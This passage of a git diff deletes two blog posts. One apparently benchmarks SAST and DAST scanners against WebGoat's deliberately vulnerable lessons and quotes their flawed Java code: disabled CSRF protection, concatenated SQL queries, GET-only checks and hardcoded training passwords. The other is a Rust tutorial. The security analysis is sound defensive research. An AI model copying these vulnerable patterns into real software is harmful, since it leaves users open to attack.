AttackResult createNewReview(String reviewText, Integer stars, String validateReq, HttpServletRequest request) {\n    final String host = (request.getHeader(\"host\") == null) ? \"NULL\" : request.getHeader(\"host\");\n    final String referer = (request.getHeader(\"referer\") == null) ? \"NULL\" : request.getHeader(\"referer\");\n    final String[] refererArr = referer.split(\"/\");\n\n    Review review = new Review();\n    review.setText(reviewText);\n    review.setDateTime(DateTime.now().toString(fmt));\n    review.setUser(webSession.getUserName());\n    review.setStars(stars);\n    var reviews = userReviews.getOrDefault(webSession.getUserName(), new ArrayList<>());\n    reviews.add(review);\n    userReviews.put(webSession.getUserName(), reviews);\n    //short-circuit\n    if (validateReq == null || !validateReq.equals(weakAntiCSRF)) {\n        return failed(this).feedback(\"csrf-you-forgot-something\").build();\n    }\n    //we have the spoofed files\n    if (referer != \"NULL\" && refererArr[2].equals(host)) {\n        return failed(this).feedback(\"csrf-same-host\").build();\n    } else {\n        return success(this).feedback(\"csrf-review.success\").build(); //feedback(\"xss-stored-comment-failure\")\n    }\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Probable\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. Most likely a SAST tool will completely ignore the hard coded value check.\n\n**DAST Reasoning:**\n\nDAST tools usually look at the `<form>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool may be confused by the seemingly configured CSRF token, when in reality the value is hard coded. A DAST tool will need to do an active request and compare the results to see if the CSRF token is ever updated/changed.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > CSRF and content-type\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/6\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form that calls an endpoint which doesn't validate the content-type properly. Newer browsers will append a `=` to the end of `text/plain` forms where only the name value exists. This form is still vulnerable to CSRF if attackers use `XMLHttpRequest` or `navigator.sendBeacon`.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFFeedback.java#L57-74\n\npublic AttackResult completed(HttpServletRequest request, @RequestBody String feedback) {\n        try {\n            objectMapper.enable(DeserializationFeature.FAIL_ON_IGNORED_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NULL_FOR_PRIMITIVES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_NUMBERS_FOR_ENUMS);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_READING_DUP_TREE_KEY);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_MISSING_CREATOR_PROPERTIES);\n            objectMapper.enable(DeserializationFeature.FAIL_ON_TRAILING_TOKENS);\n            objectMapper.readValue(feedback.getBytes(), Map.class);\n        } catch (IOException e) {\n            return failed(this).feedback(ExceptionUtils.getStackTrace(e)).build();\n        }\n        boolean correctCSRF = requestContainsWebGoatCookie(request.getCookies()) && request.getContentType().contains(MediaType.TEXT_PLAIN_VALUE);\n        correctCSRF &= hostOrRefererDifferentHost(request);\n        if (correctCSRF) {\n            String flag = UUID.randomUUID().toString();\n            userSessionData.setValue(\"csrf-feedback\", flag);\n            return success(this).feedback(\"csrf-feedback-success\").feedbackArgs(flag).build();\n    ...\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `<form>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF regardless of content-type.\n\n---\n\n### (A8:2013) Request Forgeries > Cross-Site Request Forgeries > Login CSRF attack\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/CSRF.lesson/7\n\n**Source:** \n- webgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java\n- webgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java\n\n**Lesson:**\n\nThis lesson demonstrates exploiting a CSRF vulnerable form to force a victim to login under the attackers account.\n\n```\nwebgoat-lessons/csrf/src/main/java/org/owasp/webgoat/csrf/CSRFLogin.java#50-57\n\npublic AttackResult completed(HttpServletRequest request) {\n    String userName = request.getUserPrincipal().getName();\n    if (userName.startsWith(\"csrf\")) {\n        markAssignmentSolvedWithRealUser(userName.substring(\"csrf-\".length()));\n        return success(this).feedback(\"csrf-login-success\").build();\n    }\n    return failed(this).feedback(\"csrf-login-failed\").feedbackArgs(userName).build();\n}\n\nwebgoat-container/src/main/java/org/owasp/webgoat/WebSecurityConfig.java#L72\n    ...\n    security.and().csrf().disable();\n    ...\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Possible\n\n**SAST Reasoning:**\n\nProvided the target web framework has been modeled it should contain signatures to determine that the service has been configured with anti-CSRF protections enabled. Depending on the framework it may also look at each individual request mapping to determine vulnerability. In this case the `WebSecurityConfig.java` explicitly disabled CSRF protections. \n\n**DAST Reasoning:**\n\nDAST tools usually look at the `<form>` tag definition and try to identify any \"CSRF like\" tokens exist in parameters. Some DAST tools may also inspect the request itself to identify anti-CSRF tokens. In this case a DAST tool would treat this form the same as any other and flag it as vulnerable to CSRF.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > Change the URL to display Jerry\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/1\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java\n\n**Lesson:**\n\nThis lesson does not contain a real vulnerability, it is only for demonstration purposes for modifying parameters.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask1.java#44-66\n\nprotected AttackResult stealTheCheese(String url) {\n    try {\n        StringBuffer html = new StringBuffer();\n\n        if (url.matches(\"images/tom.png\")) {\n            html.append(\"<img class=\\\"image\\\" alt=\\\"Tom\\\" src=\\\"images/tom.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.tom\")\n                    .output(html.toString())\n                    .build();\n        } else if (url.matches(\"images/jerry.png\")) {\n            html.append(\"<img class=\\\"image\\\" alt=\\\"Jerry\\\" src=\\\"images/jerry.png\\\" width=\\\"25%\\\" height=\\\"25%\\\">\");\n            return success(this)\n                    .feedback(\"ssrf.success\")\n                    .output(html.toString())\n                    .build();\n        } else {\n            html.append(\"<img class=\\\"image\\\" alt=\\\"Silly Cat\\\" src=\\\"images/cat.jpg\\\">\");\n            return failed(this)\n                    .feedback(\"ssrf.failure\")\n                    .output(html.toString())\n                    .build();\n        }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues, it simply does a string match and returns different results.\n\n**DAST Reasoning:**\n\nThis endpoint does not contain any SSRF issues.\n\n---\n\n### (A8:2013) Request Forgeries > Server-Side Request Forgery > \n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/SSRF.lesson/2\n\n**Source:** \n- webgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java\n\n**Lesson:**\n\nThis lesson is for exploiting SSRF but limits the user to a single URL that must exactly match `http://ifconfig.pro`.\n\n```\nwebgoat-lessons/ssrf/src/main/java/org/owasp/webgoat/ssrf/SSRFTask2.java#L49-74\n\nprotected AttackResult furBall(String url) {\n        try {\n            StringBuffer html = new StringBuffer();\n\n            if (url.matches(\"http://ifconfig.pro\")) {\n                URL u = new URL(url);\n                URLConnection urlConnection = u.openConnection();\n                BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));\n                String inputLine;\n\n                while ((inputLine = in.readLine()) != null) {\n                    html.append(inputLine);\n                }\n                in.close();\n\n                return success(this)\n                        .feedback(\"ssrf.success\")\n                        .output(html.toString())\n                        .build();\n            } else {\n                html.append(\"<img class=\\\"image\\\" alt=\\\"image post\\\" src=\\\"images/cat.jpg\\\">\");\n                return failed(this)\n                        .feedback(\"ssrf.failure\")\n                        .output(html.toString())\n                        .build();\n            }\n\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nA SAST tool may report that this endpoint is vulnerable due to the user provided `url` parameter being used in a `URLConnection.openConnection()` call. In reality, this is not an exploitable flaw since the URL must exactly match `http://ifconfig.pro`\n\n**DAST Reasoning:**\n\nA DAST tool attempting SSRF injection attacks will most likely use a callback server to receive a forced request from the target application. Since the value is technically hardcoded, there is no way for a DAST tool to know if the endpoint is using a user provided value in construction of the `URLConnection.openConnection()` call.\n\n---\n</details>\n\n## Client side\n\n---\n\nThese lessons are just demonstrations of bypassing client side restrictions – since there is no real business logic to exploit they do not contain any real exploitable flaws. \n\n---\n\n## Challenges\n\n---\n\n<details>\n<summary markdown=\"span\">Findings</summary>\n\n### Challenges > Admin lost password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge1.lesson/1\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/Assignment1.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java\n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the hidden pin code embedded in the logo and replace the hardcoded password's 1234 with the value. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge1/ImageServlet.java#L23-37\n\nprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n        throws ServletException, IOException {\n\n    byte[] in = new ClassPathResource(\"images/webgoat2.png\").getInputStream().readAllBytes();\n\n    String pincode = String.format(\"%04d\", PINCODE);\n\n    in[81216]=(byte) pincode.charAt(0);\n    in[81217]=(byte) pincode.charAt(1);\n    in[81218]=(byte) pincode.charAt(2);\n    in[81219]=(byte) pincode.charAt(3);\n\n    response.setContentType(MediaType.IMAGE_PNG_VALUE);\n    FileCopyUtils.copy(in, response.getOutputStream());\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Impossible\n\n**SAST Reasoning:**\n\nThere is no real vulnerability here for a SAST tool to alert on that would match the purpose of the assignment. However, SAST tools will most likely flag hardcoded credentials in `SolutionConstants.java`.\n\n**DAST Reasoning:**\n\nThere is no real vulnerability here for a DAST tool to alert on that would match the purpose of the assignment. \n\n---\n\n### Challenges > Without password\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge5.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\n\n**Challenge:**\n\nThe purpose of this challenge is to login as `Larry` without knowing his password. This can be achieved by exploiting a SQL Injection vulnerability. \n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java#L51-68\n\npublic AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed(this).feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed(this).feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }\n        try (var connection = dataSource.getConnection()) {\n            PreparedStatement statement = connection.prepareStatement(\"select password from challenge_users where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n            ResultSet resultSet = statement.executeQuery();\n\n            if (resultSet.next()) {\n                return success(this).feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n            } else {\n                return failed(this).feedback(\"challenge.close\").build();\n            }\n        }\n    }\n```\n\n**Can SAST Find?** \n- Possible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nWhile the SQL query is a prepared statement, `username_login` and `password_login` fields are dynamically inserted into the query statement. A SAST tool should identify that the query string is concatenated with user input on line 59.\n\n**DAST Reasoning:**\n\nA DAST tool would most likely not find this vulnerability due to the username being checked against the hardcoded `Larry` value. A DAST tool would need to be configured for this particular page to use the `Larry` username, and then attempt SQL Injection.\n\n---\n\n### Challenges > Admin password reset\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge7.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java\n\n**Challenge:**\n\nThe purpose of this challenge is to find the synthetic `.git` repository accessible at the `/WebGoat/challenge/7/.git` endpoint. Then extract the git files, decompile classes and run them to generate the password reset link password. \n\n```\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/7/.git\", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)\n@ResponseBody\npublic ClassPathResource git() {\n    return new ClassPathResource(\"challenge7/git.zip\");\n}\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/SolutionConstants.java#L34-36\n\nString PASSWORD = \"!!webgoat_admin_1234!!\";\nString PASSWORD_TOM = \"thisisasecretfortomonly\";\nString ADMIN_PASSWORD_LINK = \"375afe1104f4a487a73823c50a9292a2\";\n```\n\n**Can SAST Find?** \n- Possible (different issue)\n\n**Can DAST Find?**\n- Possible (different issue)\n\n**SAST Reasoning:**\n\nThis is a fake vulnerability that hard codes a git index file to a spring `GetMapping` endpoint. However, a SAST tool would most likely flag the hardcoded credentials in `SolutionConstants.java` on line 36.\n\n**DAST Reasoning:**\n\nDAST tools commonly look for backup or known files, `.git` is usually ne of them. A DAST tool would attempt to find these files in each directory path and should report that the `/WebGoat/challenge/7/.git` git index is accessible. While it may attempt to decompile classes it would be unable to know that it's necessary to run a particular file.\n\n---\n\n### Challenges > Without account\n\n**Link:** http://localhost:8080/WebGoat/start.mvc#lesson/Challenge8.lesson\n\n**Source:** \n- webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge8/Assignment8.java\n\n**Challenge:**\n\nThe purpose of this challenge is to add a vote without logging in. This is a synthetic vulnerability due to the fact that it only checks if the request is a `GET` request but there's no real authorization checks. It is \"exploitable\" because it does not account for `HEAD` request method types.\n\n```\n\nwebgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/Assignment7.java#L76-80\n\n@GetMapping(value = \"/challenge/8/vote/{stars}\", produces = MediaType.APPLICATION_JSON_VALUE)\n    @ResponseBody\n    public ResponseEntity<?> vote(@PathVariable(value = \"stars\") int nrOfStars, HttpServletRequest request) {\n        //Simple implementation of VERB Based Authentication\n        String msg = \"\";\n        if (request.getMethod().equals(\"GET\")) {\n            var json = Map.of(\"error\", true, \"message\", \"Sorry but you need to login first in order to vote\");\n            return ResponseEntity.status(200).body(json);\n        }\n        Integer allVotesForStar = votes.getOrDefault(nrOfStars, 0);\n        votes.put(nrOfStars, allVotesForStar + 1);\n        return ResponseEntity.ok().header(\"X-Flag\", \"Thanks for voting, your flag is: \" + Flag.FLAGS.get(8)).build();\n    }\n```\n\n**Can SAST Find?** \n- Impossible\n\n**Can DAST Find?**\n- Improbable\n\n**SAST Reasoning:**\n\nSince this is a synthetic vulnerability with no references to any authorization frameworks, there is nothing for a SAST tool to look for.\n\n**DAST Reasoning:**\n\nA DAST tool may attempt to switch request method types and do differential analysis to see if a `HEAD` request illicit a different response than a `GET` request.\n\n---\n\n</details>\n\n## Flaws outside of lessons\n\nThere are a large number of flaws that are not necessarily part of the lesson. However, SAST and DAST tools may still report on these issues as they are exploitable. \n\nSince tools will report on these issues, it is important to have a full set of all actual vulnerabilities that exist in WebGoat, or in any system used for benchmarking. \n\n## Conclusion\n\nWhile in GitLab's proprietary format, we decided to release our results so that other organizations using WebGoat as a target can identify which flaws are legitimate for both [SAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-sast-results.json) and [DAST](https://gitlab.com/gitlab-org/vulnerability-research/blog/-/blob/master/security-benchmarking-webgoat/webgoat-expected-dast-results.json) based discovery. \n\nWebGoat is an excellent tool for learning about web application security. If your organization decides to use it to compare DAST and SAST tools you must be aware of the limitations and caveats during your analysis. \n\nWebGoat is by no means a \"real application\", while it does contain a common structure of a Spring Boot based application, its flaws are sometimes synthetic and code flow is not indicative of how real applications are built.\n\nGitLab recommends using more than one application as apart of your benchmarking process. This should include multiple languages, features and the levels of complexity that matches the applications used in your organization.\n\nCover image by [Bannon Morrissy](https://unsplash.com/@bannon15) on [Unsplash](https://unsplash.com)"
-  category: Security
-  tags:
-    - security
-    - security research
-    - testing
-config:
-  slug: how-to-benchmark-security-tools
-  featured: false
-  template: BlogPost
diff --git a/content/en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml b/content/en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
deleted file mode 100644
index 7f509ff41..000000000
--- a/content/en-us/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions.yml
+++ /dev/null
@@ -1,1647 +0,0 @@
-seo:
-  title: Learn advanced Rust programming with a little help from AI
-  description: >-
-    Use this guided tutorial, along with AI-powered GitLab Duo Code Suggestions,
-    to continue learning advanced Rust programming.
-  ogTitle: Learn advanced Rust programming with a little help from AI
-  ogDescription: >-
-    Use this guided tutorial, along with AI-powered GitLab Duo Code Suggestions,
-    to continue learning advanced Rust programming.
-  noIndex: false
-  ogImage: images/blog/hero-images/codewithheart.png
-  ogUrl: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  ogSiteName: https://about.gitlab.com
-  ogType: article
-  canonicalUrls: >-
-    https://about.gitlab.com/blog/learn-advanced-rust-programming-with-a-little-help-from-ai-code-suggestions
-  schema: |2-
-
-                            {
-            "@context": "https://schema.org",
-            "@type": "Article",
-            "headline": "Learn advanced Rust programming with a little help from AI",
-            "author": [{"@type":"Person","name":"Michael Friedrich"}],
-            "datePublished": "2023-10-12",
-          }
-
-content:
-  title: Learn advanced Rust programming with a little help from AI
-  description: >-
-    Use this guided tutorial, along with AI-powered GitLab Duo Code Suggestions,
-    to continue learning advanced Rust programming.
-  authors:
-    - Michael Friedrich
-  heroImage: images/blog/hero-images/codewithheart.png
-  date: '2023-10-12'
-  body: >
-    When I started learning a new programming language more than 20 years ago,
-    we had access to the Visual Studio 6 MSDN library, installed from 6 CD-ROMs.
-    Algorithms with pen and paper, design pattern books, and MSDN queries to
-    figure out the correct type were often time-consuming. Learning a new
-    programming language changed fundamentally in the era of remote
-    collaboration and artificial intelligence (AI). Now you can spin up a
-    [remote development
-    workspace](https://about.gitlab.com/blog/2023/06/26/quick-start-guide-for-gitlab-workspaces/),
-    share your screen, and engage in a group programming session. With the help
-    of [GitLab Duo Code Suggestions](/gitlab-duo/), you always have an
-    intelligent partner at your fingertips. Code Suggestions can learn from your
-    programming style and experience. They only need input and context to
-    provide you with the most efficient suggestions.
-
-
-    In this tutorial, we build on the [getting started blog
-    post](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/)
-    and design and create a simple feed reader application.
-
-
-    - [Preparations](#preparations)
-        - [Code Suggestions](#code-suggestions)
-    - [Continue learning Rust](#continue-learning-rust)
-        - [Hello, Reader App](#hello-reader-app)
-        - [Initialize project](#initialize-project)
-        - [Define RSS feed URLs](#define-rss-feed-urls)
-    - [Modules](#modules)
-        - [Call the module function in main()](#call-the-module-function-in-main)
-    - [Crates](#crates)
-        - [feed-rs: parse XML feed](#feed-rs-parse-xml-feed)
-    - [Runtime configuration: Program
-    arguments](#runtime-configuration-program-arguments)
-        - [User input error handling](#user-input-error-handling)
-    - [Persistence and data storage](#persistence-and-data-storage)
-
-    - [Optimization](#optimization)
-        - [Asynchronous execution](#asynchronous-execution)
-        - [Spawning threads](#spawning-threads)
-        - [Function scopes, threads, and closures](#function-scopes-threads-and-closures)
-    - [Parse feed XML into objects](#parse-feed-xml-into-object-types)
-        - [Map generic feed data types](#map-generic-feed-data-types)
-        - [Error handling with Option::unwrap()](#error-handling-with-option-unwrap)
-    - [Benchmarks](#benchmarks)
-        - [Sequential vs. Parallel execution benchmark](#sequential-vs-parallel-execution-benchmark)
-        - [CI/CD with Rust caching](#cicd-with-rust-caching)
-    - [What is next](#what-is-next)
-        - [Async learning exercises](#async-learning-exercises)
-        - [Share your feedback](#share-your-feedback)
-
-    ## Preparations
-
-    Before diving into the source code, make sure to set up [VS
-    Code](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#vs-code)
-    and [your development environment with
-    Rust](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/#development-environment-for-rust).
-
-
-    ### Code Suggestions
-
-    Familiarize yourself with suggestions before actually verifying the
-    suggestions. GitLab Duo Code Suggestions are provided as you type, so you do
-    not need use specific keyboard shortcuts. To accept a code suggestion, press
-    the `tab` key. Also note that writing new code works more reliably than
-    refactoring existing code. AI is non-deterministic, which means that the
-    same suggestion may not be repeated after deleting the code suggestion.
-    While Code Suggestions is in Beta, we are working on improving the accuracy
-    of generated content overall. Please review the [known
-    limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#known-limitations),
-    as this could affect your learning experience.
-
-
-    **Tip:** The latest release of Code Suggestions supports multi-line
-    instructions. You can refine the specifications to your needs to get better
-    suggestions.
-
-
-    ```rust
-        // Create a function that iterates over the source array
-        // and fetches the data using HTTP from the RSS feed items.
-        // Store the results in a new hash map.
-        // Print the hash map to the terminal.
-    ```
-
-
-    The VS Code extension overlay is shown when offering a suggestion. You can
-    use the `tab` key to accept the suggested line(s), or `cmd cursor right` to
-    accept one word. Additionally, the three dots menu allows you to always show
-    the toolbar.
-
-
-    ![VS Code GitLab Duo Code Suggestions overlay with
-    instructions](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_code_suggestions_options_overlay_keep_toolbar.png){:
-    .shadow}
-
-
-    ## Continue learning Rust
-
-    Now, let us continue learning Rust, which is one of the [supported languages
-    in Code
-    Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#supported-languages).
-    [Rust by Example](https://doc.rust-lang.org/rust-by-example/) provides an
-    excellent tutorial for beginners, together with the official [Rust
-    book](https://doc.rust-lang.org/book/). Both resources are referenced
-    throughout this blog post.
-
-
-    ### Hello, Reader App
-
-    There are many ways to create an application and learn Rust. Some of them
-    involve using existing Rust libraries - so-called `Crates`. We will use them
-    a bit further into the blog post. For example, you could create a
-    command-line app that processes images and writes the result to a file.
-    Solving a classic maze or writing a Sudoku solver can also be a fun
-    challenge. Game development is another option. The book [Hands-on
-    Rust](https://hands-on-rust.com/) provides a thorough learning path by
-    creating a dungeon crawler game. My colleague Fatima Sarah Khalid started
-    the [Dragon Realm in C++ with a little help from
-    AI](/blog/2023/08/24/building-a-text-adventure-using-cplusplus-and-code-suggestions/)
-    -- check it out, too.
-
-
-    Here is a real use case that helps solve an actual problem: Collecting
-    important information from different sources into RSS feeds for (security)
-    releases, blog posts, and social discussion forums like Hacker News. Often,
-    we want to filter for specific keywords or versions mentioned in the
-    updates. These requirements allow us to formulate a requirements list for
-    our application:
-
-
-    1. Fetch data from different sources (HTTP websites, REST API, RSS feeds).
-    RSS feeds in the first iteration.
-
-    1. Parse the data.
-
-    1. Present the data to the user, or write it to disk.
-
-    1. Optimize performance.
-
-
-    The following example application output will be available after the
-    learning steps in this blog post:
-
-
-    ![VS Code Terminal, cargo run with formatted feed entries
-    output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)
-
-
-    The application should be modular and build the foundation to add more data
-    types, filters, and hooks to trigger actions at a later point.
-
-
-    ### Initialize project
-
-    Reminder: `cargo init` in the project root creates the file structure,
-    including the `main()` entrypoint. Therefore, we will learn how to create
-    and use Rust modules in the next step.
-
-
-    Create a new directory called `learn-rust-ai-app-reader`, change into it and
-    run `cargo init`. This command implicitly runs `git init` to initialize a
-    new Git repository locally. The remaining step is to configure the Git
-    remote repository path, for example,
-    `https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader`.
-    Please adjust the path for your namespace. Pushing the Git repository
-    [automatically creates a new private project in
-    GitLab](https://docs.gitlab.com/ee/user/project/#create-a-new-project-with-git-push).
-
-
-    ```shell
-
-    mkdir learn-rust-ai-app-reader
-
-    cd learn-rust-ai-app-reader
-
-
-    cargo init
-
-
-    git remote add origin
-    https://gitlab.com/gitlab-de/use-cases/ai/learn-with-ai/learn-rust-ai-app-reader.git
-
-    git push --set-upstream origin main
-
-    ```
-
-
-    Open VS Code from the newly created directory. The `code` CLI will spawn a
-    new VS Code window on macOS.
-
-
-    ```shell
-
-    code .
-
-    ```
-
-
-    ### Define RSS feed URLs
-
-    Add a new hashmap to store the RSS feed URLs inside the `src/main.rs` file
-    in the `main()` function. You can instruct GitLab Duo Code Suggestions with
-    a multi-line comment to create a
-    [`HashMap`](https://doc.rust-lang.org/stable/std/collections/struct.HashMap.html)
-    object, and initialize it with default values for Hacker News, and
-    TechCrunch. Note: Verify that the URLs are correct when you get suggestions.
-
-
-    ```rust
-
-    fn main() {
-        // Define RSS feed URLs in the variable rss_feeds
-        // Use a HashMap
-        // Add Hacker News and TechCrunch
-        // Ensure to use String as type
-
-    }
-
-    ```
-
-
-    Note that the code comment provides instructions for:
-
-
-    1. The variable name `rss_feeds`.
-
-    2. The `HashMap` type.
-
-    3. Initial seed key/value pairs.
-
-    4. String as type (can be seen with `to_string()` calls).
-
-
-    One possible suggested path can be as follows:
-
-
-    ```rust
-
-    use std::collections::HashMap;
-
-
-    fn main() {
-        // Define RSS feed URLs in the variable rss_feeds
-        // Use a HashMap
-        // Add Hacker News and TechCrunch
-        // Ensure to use String as type
-        let rss_feeds = HashMap::from([
-            ("Hacker News".to_string(), "https://news.ycombinator.com/rss".to_string()),
-            ("TechCrunch".to_string(), "https://techcrunch.com/feed/".to_string()),
-        ]);
-
-    }
-
-    ```
-
-
-    ![VS Code with Code Suggestions for RSS feed URLs for Hacker News and
-    TechCrunch](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_main_array_rss_feed_urls_suggested.png)
-
-
-    Open a new terminal in VS Code (cmd shift p - search for `terminal`), and
-    run `cargo build` to build the changes. The error message instructs you to
-    add the `use std::collections::HashMap;` import.
-
-
-    The next step is to do something with the RSS feed URLs. [The previous blog
-    post](/blog/2023/08/10/learning-rust-with-a-little-help-from-ai-code-suggestions-getting-started/)
-    taught us to split code into functions. We want to organize the code more
-    modularly for our reader application, and use Rust modules.
-
-
-    ## Modules
-
-    [Modules](https://doc.rust-lang.org/rust-by-example/mod.html) help with
-    organizing code. They can also be used to hide functions into the module
-    scope, limiting access to them from the main() scope. In our reader
-    application, we want to fetch the RSS feed content, and parse the XML
-    response. The `main()` caller should only be able to access the
-    `get_feeds()` function, while other functionality is only available in the
-    module.
-
-
-    Create a new file `feed_reader.rs` in the `src/` directory. Instruct Code
-    Suggestions to create a public module named `feed_reader`, and a public
-    function `get_feeds()` with a String HashMap as input. Important: The file
-    and module names need to be the same, following the [Rust module
-    structure](https://doc.rust-lang.org/book/ch07-02-defining-modules-to-control-scope-and-privacy.html).
-
-
-    ![Code Suggestions: Create public module, with function and input
-    types](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){:
-    .shadow}
-
-
-    Instructing Code Suggestions with the input variable name and type will also
-    import the required `std::collections::HashMap` module. Tip: Experiment with
-    the comments, and refine the variable types to land the best results.
-    Passing function parameters as object references is considered best practice
-    in Rust, for example.
-
-
-    ```rust
-
-    // Create public module feed_reader
-
-    // Define get_feeds() function which takes rss_feeds as String HashMap
-    reference as input
-
-    pub mod feed_reader {
-        use std::collections::HashMap;
-
-        pub fn get_feeds(rss_feeds: &HashMap<String, String>) {
-            // Do something with the RSS feeds
-        }
-    }
-
-    ```
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, and suggested
-    input
-    variable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_public_module_function_input.png){:
-    .shadow}
-
-
-    Inside the function, continue to instruct Code Suggestions with the
-    following steps:
-
-
